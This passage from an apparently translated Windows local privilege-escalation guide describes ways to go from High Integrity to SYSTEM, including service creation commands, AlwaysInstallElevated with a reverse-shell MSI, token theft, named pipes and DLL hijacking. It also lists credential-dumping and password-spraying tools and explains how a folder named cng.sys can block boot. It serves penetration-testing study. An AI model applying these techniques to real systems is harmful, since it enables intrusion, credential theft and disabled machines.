C:\Windows\System32\cng.sys

Esta ruta normalmente corresponde al controlador en modo kernel cng.sys.
Si lo pre-creas como una carpeta, Windows no logra cargar el driver real en el arranque.
Luego, Windows intenta cargar cng.sys durante el arranque.
Windows ve la carpeta, no logra resolver el controlador real, y se bloquea o detiene el arranque.
No existe fallback, ni recuperación sin intervención externa (p. ej., reparación del arranque o acceso al disco).

De High Integrity a SYSTEM

Nuevo servicio

Si ya estás ejecutando en un proceso High Integrity, el camino hacia SYSTEM puede ser sencillo simplemente creando y ejecutando un nuevo servicio:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

Tip

Cuando crees un service binary asegúrate de que sea un servicio válido o de que el binary realice las acciones necesarias rápidamente, ya que será terminado en 20s si no es un servicio válido.

AlwaysInstallElevated

Desde un proceso High Integrity podrías intentar habilitar las entradas de registro AlwaysInstallElevated y instalar un reverse shell usando un .msi wrapper.
More information about the registry keys involved and how to install a .msi package here.

High + SeImpersonate privilege to System

Puedes find the code here.

Desde SeDebug + SeImpersonate a Full Token privileges

Si tienes esos privilegios de token (probablemente los encontrarás en un proceso que ya es High Integrity), podrás abrir casi cualquier proceso (no procesos protegidos) con el privilegio SeDebug, copiar el token del proceso y crear un proceso arbitrario con ese token.
Usando esta técnica normalmente se selecciona cualquier proceso que se ejecute como SYSTEM con todos los privilegios de token (sí, puedes encontrar procesos SYSTEM sin todos los privilegios de token).
Puedes encontrar un example of code executing the proposed technique here.

Named Pipes

Esta técnica la usa meterpreter para escalar con getsystem. La técnica consiste en crear una pipe y luego crear/abusar un servicio para escribir en esa pipe. Luego, el server que creó la pipe usando el privilegio SeImpersonate podrá suplantar el token del cliente de la pipe (el servicio) obteniendo privilegios SYSTEM.
If you want to learn more about name pipes you should read this.
If you want to read an example of how to go from high integrity to System using name pipes you should read this.

Dll Hijacking

Si logras secuestrar una DLL que sea cargada por un proceso que se ejecute como SYSTEM, podrás ejecutar código arbitrario con esos permisos. Por lo tanto Dll Hijacking también es útil para este tipo de escalada de privilegios y, además, es mucho más fácil de lograr desde un proceso High Integrity ya que tendrá permisos de escritura en las carpetas usadas para cargar dlls.
You can learn more about Dll hijacking here.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

Leer: https://github.com/itm4n/FullPowers

Más ayuda

Static impacket binaries

Herramientas útiles

Best tool to look for Windows local privilege escalation vectors: WinPEAS

PrivescCheck
PowerSploit-Privesc(PowerUP) -- Comprobar misconfiguraciones y archivos sensibles (check here). Detectado.
JAWS -- Comprobar algunas posibles misconfiguraciones y recopilar información (check here).
privesc -- Comprobar misconfiguraciones
SessionGopher -- Extrae sesiones guardadas de PuTTY, WinSCP, SuperPuTTY, FileZilla y RDP. Usar -Thorough en local.
Invoke-WCMDump -- Extrae credenciales del Credential Manager. Detectado.
DomainPasswordSpray -- Hacer spray con contraseñas recopiladas en el dominio
Inveigh -- Inveigh es un spoofer ADIDNS/LLMNR/mDNS/NBNS y herramienta man-in-the-middle en PowerShell.
WindowsEnum -- Enumeración básica de privesc en Windows
~~Sherlock~~ ~~~~ -- Busca vulnerabilidades conocidas de privesc (DEPRECATED para Watson)
~~WINspect~~ -- Comprobaciones locales (Necesita derechos de Admin)

Exe

Watson -- Busca vulnerabilidades conocidas de privesc (necesita compilarse usando VisualStudio) (precompiled)
SeatBelt -- Enumera el host buscando misconfiguraciones (más una herramienta de recopilación de información que de privesc) (necesita compilarse) (precompiled)
LaZagne -- Extrae credenciales de muchos softwares (exe precompilado en github)
SharpUP -- Port de PowerUp a C#
~~Beroot~~ ~~~~ -- Comprobar misconfiguraciones (ejecutable precompilado en github). No recomendado. No funciona bien en Win10.
~~Windows-Privesc-Check~~ -- Comprobar posibles misconfiguraciones (exe desde python). No recomendado. No funciona bien en Win10.

Bat

winPEASbat -- Herramienta creada basada en este post (no necesita accesschk para funcionar correctamente pero puede usarlo).

Local

Windows-Exploit-Suggester -- Lee la salida de systeminfo y recomienda exploits que funcionen (python local)
Windows Exploit Suggester Next Generation -- Lee la salida de systeminfo y recomienda exploits que funcionen (python local)

Meterpreter

multi/recon/local_exploit_suggestor

Tienes que compilar el proyecto usando la versión correcta de .NET (see this). Para ver la versión de .NET instalada en el host víctima puedes hacer:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

README.md Unescape Escape

Windows Local Privilege Escalation

Mejor herramienta para buscar vectores de Windows local privilege escalation: WinPEAS

Teoría inicial de Windows

Access Tokens

ACLs - DACLs/SACLs/ACEs

Integrity Levels

Controles de seguridad de Windows

Información del sistema

Enumeración de información de versión

Version Exploits

Entorno

Historial de PowerShell

Archivos de transcripción de PowerShell

PowerShell Module Logging

PowerShell Script Block Logging

Configuración de Internet

Unidades

WSUS

Autoactualizadores de terceros y IPC de agentes (local privesc)

KrbRelayUp

AlwaysInstallElevated

Metasploit payloads

PowerUP

MSI Wrapper

Create MSI with WIX

Crear MSI con Visual Studio

Instalación del MSI

Antivirus y detectores

Configuración de auditoría

WEF

LAPS

WDigest

LSA Protection

Credentials Guard

Credenciales en caché

Usuarios & Grupos

Enumerar Usuarios & Grupos

Privileged groups

Token manipulation

Usuarios conectados / Sesiones

Carpetas de inicio

Política de contraseñas

Obtener el contenido del portapapeles

Procesos en ejecución

Permisos de archivos y carpetas

Memory Password mining

Aplicaciones GUI inseguras

Servicios

Permisos

Habilitar servicio

Modify service binary path

Reiniciar servicio

Services binaries weak permissions

Permisos para modificar el registro de servicios

Services registry AppendData/AddSubdirectory permissions

Unquoted Service Paths

Acciones de recuperación

Aplicaciones

Aplicaciones instaladas

Permisos de escritura

Ejecutar al inicio

Drivers

Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)

PATH DLL Hijacking

Red

Recursos compartidos

hosts file

Interfaces de red y DNS

Puertos abiertos

Tabla de enrutamiento

Tabla ARP

Reglas de Firewall

Windows Subsystem for Linux (wsl)

Credenciales de Windows

Credenciales de Winlogon

Administrador de credenciales / Windows Vault

DPAPI

Credenciales de PowerShell

Wifi

README.md